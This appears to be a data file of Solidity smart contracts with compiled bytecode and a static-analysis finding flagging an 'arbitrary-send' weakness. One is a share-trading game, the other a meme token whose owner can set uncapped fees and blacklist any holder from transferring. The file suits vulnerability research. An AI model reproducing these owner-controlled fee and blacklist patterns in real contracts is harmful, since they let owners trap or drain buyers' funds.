* @dev A fallback function to catch, uh... let's call them gifts.
*/
function () payable public { }
/**
* @dev Adds a new stock to the game
* @param _name the name of the stock (e.g. "Kodak")
* @param _initialPrice the original cost of the stock's shares (in Wei)
* @param _priceIncrease the amount by which the shares should increase upon sale (i.e. 120 = 20% increase)
* @param _dividendAmount the amount of each purchase that should be split among dividend recipients
* @param _numShares the number of shares of this stock available for purchase
*/
function addStock(
string _name,
uint256 _initialPrice,
uint256 _priceIncrease,
uint256 _dividendAmount,
uint8 _numShares
) public onlyOwner returns (uint256 stockId) {
stockId = stocks.length;
stocks.push(
Stock(
_name,
_priceIncrease == 0 ? 130 : _priceIncrease, // 30% by default
_dividendAmount == 0 ? 110 : _dividendAmount, // 10% by default
block.timestamp,
0
)
);
for(uint8 i = 0; i < _numShares; i++) {
stockShares[stockId].push(shares.length);
shares.push(Share(owner, _initialPrice));
}
CompanyListed(_name, _initialPrice);
}
/**
* @dev Purchase a share from its current owner
* @param _stockId the ID of the stock that owns the share
* @param _shareId the ID of the specific share to purchase
*/
function purchase(uint256 _stockId, uint256 _shareId) public payable {
require(_stockId < stocks.length && _shareId < shares.length);
// look up the assets
Stock storage stock = stocks[_stockId];
uint256[] storage sharesForStock = stockShares[_stockId];
Share storage share = shares[sharesForStock[_shareId]];
// look up the share's current holder
address previousHolder = share.holder;
// determine the current price for the share
uint256 currentPrice = getPurchasePrice(
share.purchasePrice,
stock.priceIncrease
);
require(msg.value >= currentPrice);
// return any excess payment
if (msg.value > currentPrice) {
msg.sender.transfer(SafeMath.sub(msg.value, currentPrice));
}
// calculate dividend holders' shares
uint256 dividendPerRecipient = getDividendPayout(
currentPrice,
stock.dividendAmount,
sharesForStock.length - 1
);
// calculate the previous owner's share
uint256 previousHolderShare = SafeMath.sub(
currentPrice,
SafeMath.mul(dividendPerRecipient, sharesForStock.length - 1)
);
// calculate the transaction fee - 1/40 = 2.5% fee
uint256 fee = SafeMath.div(previousHolderShare, 40);
owner.transfer(fee);
// payout the previous shareholder
previousHolder.transfer(SafeMath.sub(previousHolderShare, fee));
// payout the dividends
for(uint8 i = 0; i < sharesForStock.length; i++) {
if (i != _shareId) {
shares[sharesForStock[i]].holder.transfer(dividendPerRecipient);
stock.dividendsPaid = SafeMath.add(stock.dividendsPaid, dividendPerRecipient);
DividendPaid(
shares[sharesForStock[i]].holder,
dividendPerRecipient
);
}
}
ShareSold(
_stockId,
_shareId,
share.purchasePrice,
currentPrice,
share.holder,
msg.sender
);
// update share information
share.holder = msg.sender;
share.purchasePrice = currentPrice;
stock.lastAction = block.timestamp;
}
/**
* @dev Calculates the current purchase price for the given stock share
* @param _stockId the ID of the stock that owns the share
* @param _shareId the ID of the specific share to purchase
*/
function getCurrentPrice(
uint256 _stockId,
uint256 _shareId
) public view returns (uint256 currentPrice) {
require(_stockId < stocks.length && _shareId < shares.length);
currentPrice = SafeMath.div(
SafeMath.mul(stocks[_stockId].priceIncrease, shares[_shareId].purchasePrice),
100
);
}
/**
* @dev Calculates the current token owner's payout amount if the token sells
* @param _currentPrice the current total sale price of the asset
* @param _priceIncrease the percentage of price increase per sale
*/
function getPurchasePrice(
uint256 _currentPrice,
uint256 _priceIncrease
) internal pure returns (uint256 currentPrice) {
currentPrice = SafeMath.div(
SafeMath.mul(_currentPrice, _priceIncrease),
100
);
}
/**
* @dev Calculates the payout of each dividend recipient in the event of a share sale.
* @param _purchasePrice the current total sale price of the asset
* @param _stockDividend the percentage of the sale allocated for dividends
* @param _numDividends the number of dividend holders to share the total dividend amount
*/
function getDividendPayout(
uint256 _purchasePrice,
uint256 _stockDividend,
uint256 _numDividends
) public pure returns (uint256 dividend) {
uint256 dividendPerRecipient = SafeMath.sub(
SafeMath.div(SafeMath.mul(_purchasePrice, _stockDividend), 100),
_purchasePrice
);
dividend = SafeMath.div(dividendPerRecipient, _numDividends);
}
/**
* @dev Fetches the number of stocks available
*/
function getStockCount() public view returns (uint256) {
return stocks.length;
}
/**
* @dev Fetches the share IDs connected to the given stock
* @param _stockId the ID of the stock to count shares of
*/
function getStockShares(uint256 _stockId) public view returns (uint256[]) {
return stockShares[_stockId];
}
/**
* @dev Transfers a set amount of ETH from the contract to the specified address
* @notice Proceeds are paid out right away, but the contract might receive unexpected funds
*/
function withdraw(uint256 _amount, address _destination) public onlyOwner {
require(_destination != address(0));
require(_amount <= this.balance);
_destination.transfer(_amount == 0 ? this.balance : _amount);
}
}
|
0x6060604052600436106100b9576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062f714ce146100bb57806304673368146100fd578063226b876c1461013d578063269aacc8146102125780632deb79b61461025b578063541b9ff4146102d357806357a858fc1461031357806370876c981461037d5780638da5cb5b1461039e578063dc08e5ff146103f3578063e079e7e51461041c578063f2fde38b146104b4575b005b34156100c657600080fd5b6100fb600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506104ed565b005b341561010857600080fd5b6101276004808035906020019091908035906020019091905050610614565b6040518082815260200191505060405180910390f35b341561014857600080fd5b61015e6004808035906020019091905050610695565b60405180806020018681526020018581526020018481526020018381526020018281038252878181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156101ff5780601f106101d4576101008083540402835291602001916101ff565b820191906000526020600020905b8154815290600101906020018083116101e257829003601f168201915b5050965050505050505060405180910390f35b341561021d57600080fd5b61024560048080359060200190919080359060200190919080359060200190919050506106d9565b6040518082815260200191505060405180910390f35b341561026657600080fd5b61027c600480803590602001909190505061070f565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156102bf5780820151818401526020810190506102a4565b505050509050019250505060405180910390f35b34156102de57600080fd5b6102fd6004808035906020019091908035906020019091905050610780565b6040518082815260200191505060405180910390f35b341561031e57600080fd5b61033460048080359060200190919050506107b1565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b61039c6004808035906020019091908035906020019091905050610804565b005b34156103a957600080fd5b6103b1610d10565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103fe57600080fd5b610406610d35565b6040518082815260200191505060405180910390f35b341561042757600080fd5b61049e600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190803590602001909190803590602001909190803560ff16906020019091905050610d42565b6040518082815260200191505060405180910390f35b34156104bf57600080fd5b6104eb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611038565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561054857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561058457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163182111515156105aa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc600084146105d257836105eb565b3073ffffffffffffffffffffffffffffffffffffffff16315b9081150290604051600060405180830381858888f19350505050151561061057600080fd5b5050565b60006001805490508310801561062e575060028054905082105b151561063957600080fd5b61068d61068660018581548110151561064e57fe5b90600052602060002090600502016001015460028581548110151561066f57fe5b90600052602060002090600202016001015461118d565b60646111c8565b905092915050565b6001818154811015156106a457fe5b906000526020600020906005020160009150905080600001908060010154908060020154908060030154908060040154905085565b6000806106f96106f36106ec878761118d565b60646111c8565b866111e3565b905061070581846111c8565b9150509392505050565b610717611238565b6003600083815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561077457602002820191906000526020600020905b815481526020019060010190808311610760575b50505050509050919050565b60036020528160005260406000208181548110151561079b57fe5b9060005260206000209001600091509150505481565b6002818154811015156107c057fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b60008060008060008060008060006001805490508b10801561082a57506002805490508a105b151561083557600080fd5b60018b81548110151561084457fe5b90600052602060002090600502019850600360008c815260200190815260200160002097506002888b81548110151561087957fe5b90600052602060002090015481548110151561089157fe5b906000526020600020906002020196508660000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695506108da87600101548a600101546111fc565b94508434101515156108eb57600080fd5b8434111561093d573373ffffffffffffffffffffffffffffffffffffffff166108fc61091734886111e3565b9081150290604051600060405180830381858888f19350505050151561093c57600080fd5b5b610953858a6002015460018b80549050036106d9565b935061096f8561096a8660018c805490500361118d565b6111e3565b925061097c8360286111c8565b91506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156109df57600080fd5b8573ffffffffffffffffffffffffffffffffffffffff166108fc610a0385856111e3565b9081150290604051600060405180830381858888f193505050501515610a2857600080fd5b600090505b87805490508160ff161015610bcf57898160ff16141515610bc2576002888260ff16815481101515610a5b57fe5b906000526020600020900154815481101515610a7357fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f193505050501515610ae457600080fd5b610af289600401548561121a565b89600401819055507fb70dbf0e62ac2891fc0dccea9117219168105932d8f1537152476ad5e9f7a19d6002898360ff16815481101515610b2e57fe5b906000526020600020900154815481101515610b4657fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b8080600101915050610a2d565b7f03947f2be2f87e89ad65c0eb1a30dbc46991098b133f174f769f9ea4e32d107e8b8b8960010154888b60000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633604051808781526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001965050505050505060405180910390a1338760000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508487600101819055504289600301819055505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600180549050905090565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da057600080fd5b600180549050915060018054806001018281610dbc919061124c565b9160005260206000209060050201600060a0604051908101604052808b815260200160008a14610dec5789610def565b60825b815260200160008914610e025788610e05565b606e5b8152602001428152602001600081525090919091506000820151816000019080519060200190610e3692919061127e565b5060208201518160010155604082015181600201556060820151816003015560808201518160040155505050600090505b8260ff168160ff161015610f8a57600360008381526020019081526020016000208054806001018281610e9a91906112fe565b916000526020600020900160006002805490509091909150555060028054806001018281610ec8919061132a565b9160005260206000209060020201600060408051908101604052806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a815250909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101555050508080600101915050610e67565b7f5b8627dd085bdb239ede72bb09c0d05a5262056ee79ba2747bdc9a310a761f6587876040518080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015610ff3578082015181840152602081019050610fd8565b50505050905090810190601f1680156110205780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15095945050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156110cf57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008414156111a257600091506111c1565b82840290508284828115156111b357fe5b041415156111bd57fe5b8091505b5092915050565b60008082848115156111d657fe5b0490508091505092915050565b60008282111515156111f157fe5b818303905092915050565b600061121261120b848461118d565b60646111c8565b905092915050565b600080828401905083811015151561122e57fe5b8091505092915050565b602060405190810160405280600081525090565b81548183558181151161127957600502816005028360005260206000209182019101611278919061135c565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106112bf57805160ff19168380011785556112ed565b828001600101855582156112ed579182015b828111156112ec5782518255916020019190600101906112d1565b5b5090506112fa91906113ab565b5090565b8154818355818115116113255781836000526020600020918201910161132491906113ab565b5b505050565b8154818355818115116113575760020281600202836000526020600020918201910161135691906113d0565b5b505050565b6113a891905b808211156113a4576000808201600061137b919061141e565b600182016000905560028201600090556003820160009055600482016000905550600501611362565b5090565b90565b6113cd91905b808211156113c95760008160009055506001016113b1565b5090565b90565b61141b91905b8082111561141757600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160009055506002016113d6565b5090565b90565b50805460018160011615610100020316600290046000825580601f106114445750611463565b601f01602090049060005260206000209081019061146291906113ab565b5b505600a165627a7a7230582058b525b30937f9cd1f53276eb5e25c74ffebb3304047fba1a28b079490c8b2ca0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,298 |
0xb579e2976f5516756229ee299d16637a14ef0d7e
|
// @ElonApePortal
// @ElonApePortal
// @ElonApePortal
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract ELONAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**18;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "ELON APE";
string private constant _symbol = "ELONAPE";
uint private constant _decimals = 18;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(10).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f7578063cf0848f71461040c578063cf9d4afa1461042c578063dd62ed3e1461044c578063e6ec64ec14610492578063f2fde38b146104b257600080fd5b8063715018a61461032a5780638da5cb5b1461033f57806390d49b9d1461036757806395d89b4114610387578063a9059cbb146103b7578063b515566a146103d757600080fd5b806331c2d8471161010857806331c2d847146102435780633bbac57914610263578063437823ec1461029c578063476343ee146102bc5780635342acb4146102d157806370a082311461030a57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b557806318160ddd146101e557806323b872dd1461020f578063313ce5671461022f57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d2565b005b34801561017e57600080fd5b50604080518082019091526008815267454c4f4e2041504560c01b60208201525b6040516101ac9190611838565b60405180910390f35b3480156101c157600080fd5b506101d56101d03660046118b2565b61051e565b60405190151581526020016101ac565b3480156101f157600080fd5b506c0c9f2c9cd04674edea400000005b6040519081526020016101ac565b34801561021b57600080fd5b506101d561022a3660046118de565b610535565b34801561023b57600080fd5b506012610201565b34801561024f57600080fd5b5061017061025e366004611935565b61059e565b34801561026f57600080fd5b506101d561027e3660046119fa565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a857600080fd5b506101706102b73660046119fa565b610634565b3480156102c857600080fd5b50610170610682565b3480156102dd57600080fd5b506101d56102ec3660046119fa565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031657600080fd5b506102016103253660046119fa565b6106bc565b34801561033657600080fd5b506101706106de565b34801561034b57600080fd5b506000546040516001600160a01b0390911681526020016101ac565b34801561037357600080fd5b506101706103823660046119fa565b610714565b34801561039357600080fd5b50604080518082019091526007815266454c4f4e41504560c81b602082015261019f565b3480156103c357600080fd5b506101d56103d23660046118b2565b61078e565b3480156103e357600080fd5b506101706103f2366004611935565b61079b565b34801561040357600080fd5b506101706108b4565b34801561041857600080fd5b506101706104273660046119fa565b61096c565b34801561043857600080fd5b506101706104473660046119fa565b6109b7565b34801561045857600080fd5b50610201610467366004611a17565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049e57600080fd5b506101706104ad366004611a50565b610c12565b3480156104be57600080fd5b506101706104cd3660046119fa565b610c41565b6000546001600160a01b031633146105055760405162461bcd60e51b81526004016104fc90611a69565b60405180910390fd5b6000610510306106bc565b905061051b81610cd9565b50565b600061052b338484610e53565b5060015b92915050565b6000610542848484610f77565b610594843361058f85604051806060016040528060288152602001611be2602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611314565b610e53565b5060019392505050565b6000546001600160a01b031633146105c85760405162461bcd60e51b81526004016104fc90611a69565b60005b8151811015610630576000600560008484815181106105ec576105ec611a9e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062881611aca565b9150506105cb565b5050565b6000546001600160a01b0316331461065e5760405162461bcd60e51b81526004016104fc90611a69565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610630573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052f9061134e565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104fc90611a69565b61071260006113d2565b565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016104fc90611a69565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052b338484610f77565b6000546001600160a01b031633146107c55760405162461bcd60e51b81526004016104fc90611a69565b60005b815181101561063057600c5482516001600160a01b03909116908390839081106107f4576107f4611a9e565b60200260200101516001600160a01b0316141580156108455750600b5482516001600160a01b039091169083908390811061083157610831611a9e565b60200260200101516001600160a01b031614155b156108a25760016005600084848151811061086257610862611a9e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ac81611aca565b9150506107c8565b6000546001600160a01b031633146108de5760405162461bcd60e51b81526004016104fc90611a69565b600c54600160a01b900460ff166109425760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fc565b600c805460ff60b81b1916600160b81b17905542600d8190556109679061012c611ae3565b600e55565b6000546001600160a01b031633146109965760405162461bcd60e51b81526004016104fc90611a69565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e15760405162461bcd60e51b81526004016104fc90611a69565b600c54600160a01b900460ff1615610a495760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fc565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac49190611afb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b359190611afb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba69190611afb565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3c5760405162461bcd60e51b81526004016104fc90611a69565b600855565b6000546001600160a01b03163314610c6b5760405162461bcd60e51b81526004016104fc90611a69565b6001600160a01b038116610cd05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fc565b61051b816113d2565b600c805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050